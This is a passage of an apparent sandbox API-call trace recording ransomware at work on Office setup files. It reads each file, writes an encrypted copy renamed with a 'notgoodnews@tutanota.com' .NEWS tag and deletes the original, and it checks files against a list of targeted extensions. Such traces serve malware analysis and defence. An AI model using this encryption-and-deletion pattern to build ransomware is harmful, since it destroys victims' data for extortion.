(lpString=".zip") returned 4 [0057.737] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0057.737] lstrlenW (lpString=".rar") returned 4 [0057.737] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0057.738] lstrlenW (lpString=".bz2") returned 4 [0057.738] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0057.738] lstrlenW (lpString=".7z") returned 3 [0057.738] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0057.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.738] lstrlenW (lpString=".dbf") returned 4 [0057.738] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0057.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.738] lstrlenW (lpString=".1cd") returned 4 [0057.738] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0057.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.738] lstrlenW (lpString=".jpg") returned 4 [0057.738] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0057.738] lstrcmpiW (lpString1=".CHM", lpString2=".NEWS") returned -1 [0057.738] lstrlenW (lpString="SETUP.CHM") returned 9 [0057.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0058.705] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=67190) returned 1 [0058.705] CloseHandle (hObject=0x1e4) returned 1 [0058.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0058.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.710] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.710] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0058.710] GetLastError () returned 0x0 [0058.710] ReadFile (in: hFile=0x1fc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x10676, lpOverlapped=0x0) returned 1 [0058.714] WriteFile (in: hFile=0x210, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0058.717] ReadFile (in: hFile=0x1fc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.717] WriteFile (in: hFile=0x210, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0058.717] SetEndOfFile (hFile=0x210) returned 1 [0058.717] CloseHandle (hObject=0x210) returned 1 [0058.719] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.719] SetEndOfFile (hFile=0x1fc) returned 1 [0058.721] CloseHandle (hObject=0x1fc) returned 1 [0058.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0058.722] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0058.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.722] lstrlenW (lpString=".doc") returned 4 [0058.722] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0058.722] lstrlenW (lpString=".docx") returned 5 [0058.722] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0058.722] lstrlenW (lpString=".pdf") returned 4 [0058.722] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0058.722] lstrlenW (lpString=".xls") returned 4 [0058.722] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0058.722] lstrlenW (lpString=".xlsx") returned 5 [0058.722] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0058.722] lstrlenW (lpString=".ppt") returned 4 [0058.723] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0058.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.723] lstrlenW (lpString=".zip") returned 4 [0058.723] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0058.723] lstrlenW (lpString=".rar") returned 4 [0058.723] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0058.723] lstrlenW (lpString=".bz2") returned 4 [0058.723] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0058.723] lstrlenW (lpString=".7z") returned 3 [0058.723] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0058.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.723] lstrlenW (lpString=".dbf") returned 4 [0058.723] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0058.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.723] lstrlenW (lpString=".1cd") returned 4 [0058.723] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0058.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.723] lstrlenW (lpString=".jpg") returned 4 [0058.723] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0058.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.724] lstrlenW (lpString=".doc") returned 4 [0058.724] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0058.724] lstrlenW (lpString=".docx") returned 5 [0058.724] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0058.724] lstrlenW (lpString=".pdf") returned 4 [0058.724] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0058.724] lstrlenW (lpString=".xls") returned 4 [0058.724] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0058.724] lstrlenW (lpString=".xlsx") returned 5 [0058.724] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0058.724] lstrlenW (lpString=".ppt") returned 4 [0058.724] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0058.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.724] lstrlenW (lpString=".zip") returned 4 [0058.724] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0058.724] lstrlenW (lpString=".rar") returned 4 [0058.724] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0058.724] lstrlenW (lpString=".bz2") returned 4 [0058.724] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0058.724] lstrlenW (lpString=".7z") returned 3 [0058.724] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0058.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.725] lstrlenW (lpString=".dbf") returned 4 [0058.725] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0058.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.725] lstrlenW (lpString=".1cd") returned 4 [0058.725] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0058.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0058.725] lstrlenW (lpString=".jpg") returned 4 [0058.725] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0058.725] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0058.725] lstrlenW (lpString="SETUP.XML") returned 9 [0058.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.726] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2362) returned 1 [0058.726] CloseHandle (hObject=0x1fc) returned 1 [0058.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0058.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.726] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.726] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0058.727] GetLastError () returned 0x0 [0058.727] ReadFile (in: hFile=0x1fc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x93a, lpOverlapped=0x0) returned 1 [0058.729] WriteFile (in: hFile=0x210, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x940, lpOverlapped=0x0) returned 1 [0058.731] ReadFile (in: hFile=0x1fc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.731] WriteFile (in: hFile=0x210, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0058.731] SetEndOfFile (hFile=0x210) returned 1 [0058.731] CloseHandle (hObject=0x210) returned 1 [0058.732] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.732] SetEndOfFile (hFile=0x1fc) returned 1 [0058.734] CloseHandle (hObject=0x1fc) returned 1 [0058.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0058.734] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0058.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.734] lstrlenW (lpString=".doc") returned 4 [0058.734] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0058.734] lstrlenW (lpString=".docx") returned 5 [0058.734] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0058.734] lstrlenW (lpString=".pdf") returned 4 [0058.735] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0058.735] lstrlenW (lpString=".xls") returned 4 [0058.735] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0058.735] lstrlenW (lpString=".xlsx") returned 5 [0058.735] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0058.735] lstrlenW (lpString=".ppt") returned 4 [0058.735] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0058.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.735] lstrlenW (lpString=".zip") returned 4 [0058.735] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0058.735] lstrlenW (lpString=".rar") returned 4 [0058.735] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0058.735] lstrlenW (lpString=".bz2") returned 4 [0058.735] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0058.735] lstrlenW (lpString=".7z") returned 3 [0058.735] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0058.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.735] lstrlenW (lpString=".dbf") returned 4 [0058.735] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0058.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.735] lstrlenW (lpString=".1cd") returned 4 [0058.735] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0058.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.735] lstrlenW (lpString=".jpg") returned 4 [0058.735] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0058.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.736] lstrlenW (lpString=".doc") returned 4 [0058.736] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0058.736] lstrlenW (lpString=".docx") returned 5 [0058.736] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0058.736] lstrlenW (lpString=".pdf") returned 4 [0058.736] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0058.736] lstrlenW (lpString=".xls") returned 4 [0058.736] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0058.736] lstrlenW (lpString=".xlsx") returned 5 [0058.736] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0058.736] lstrlenW (lpString=".ppt") returned 4 [0058.736] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0058.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.736] lstrlenW (lpString=".zip") returned 4 [0058.736] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0058.736] lstrlenW (lpString=".rar") returned 4 [0058.736] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0058.736] lstrlenW (lpString=".bz2") returned 4 [0058.736] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0058.736] lstrlenW (lpString=".7z") returned 3 [0058.737] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0058.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.737] lstrlenW (lpString=".dbf") returned 4 [0058.737] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0058.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.737] lstrlenW (lpString=".1cd") returned 4 [0058.737] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0058.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0058.737] lstrlenW (lpString=".jpg") returned 4 [0058.737] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0058.737] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0058.737] lstrlenW (lpString="Office32WW.XML") returned 14 [0058.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.738] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4274) returned 1 [0058.738] CloseHandle (hObject=0x1fc) returned 1 [0058.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0058.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.738] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.738] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0058.739] GetLastError () returned 0x0 [0058.739] ReadFile (in: hFile=0x1fc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0058.741] WriteFile (in: hFile=0x210, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0058.743] ReadFile (in: hFile=0x1fc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.743] WriteFile (in: hFile=0x210, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0058.743] SetEndOfFile (hFile=0x210) returned 1 [0058.743] CloseHandle (hObject=0x210) returned 1 [0058.744] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.744] SetEndOfFile (hFile=0x1fc) returned 1 [0058.746] CloseHandle (hObject=0x1fc) returned 1 [0058.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0058.746] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0058.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0058.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0058.747] lstrlenW (lpString=".doc") returned 4 [0058.747] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0058.747] lstrlenW (lpString=".docx") returned 5 [0058.747] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0058.747] lstrlenW (lpString=".pdf") returned 4 [0058.747] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0058.747] lstrlenW (lpString=".xls") returned 4 [0058.747] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0058.747] lstrlenW (lpString=".xlsx") returned 5 [0058.747] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0058.747] lstrlenW (lpString=".ppt") returned 4 [0058.747] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0058.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0058.747] lstrlenW (lpString=".zip") returned 4 [0058.747] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0058.747] lstrlenW (lpString=".rar") returned 4 [0058.747] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0058.747] lstrlenW (lpString=".bz2") returned 4 [0058.747] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0058.747] lstrlenW (lpString=".7z") returned 3 [0058.747] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0058.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0058.748] lstrlenW (lpString=".dbf") returned 4 [0058.748] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0058.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0058.748] lstrlenW (lpString=".1cd") returned 4 [0058.748] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0058.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office 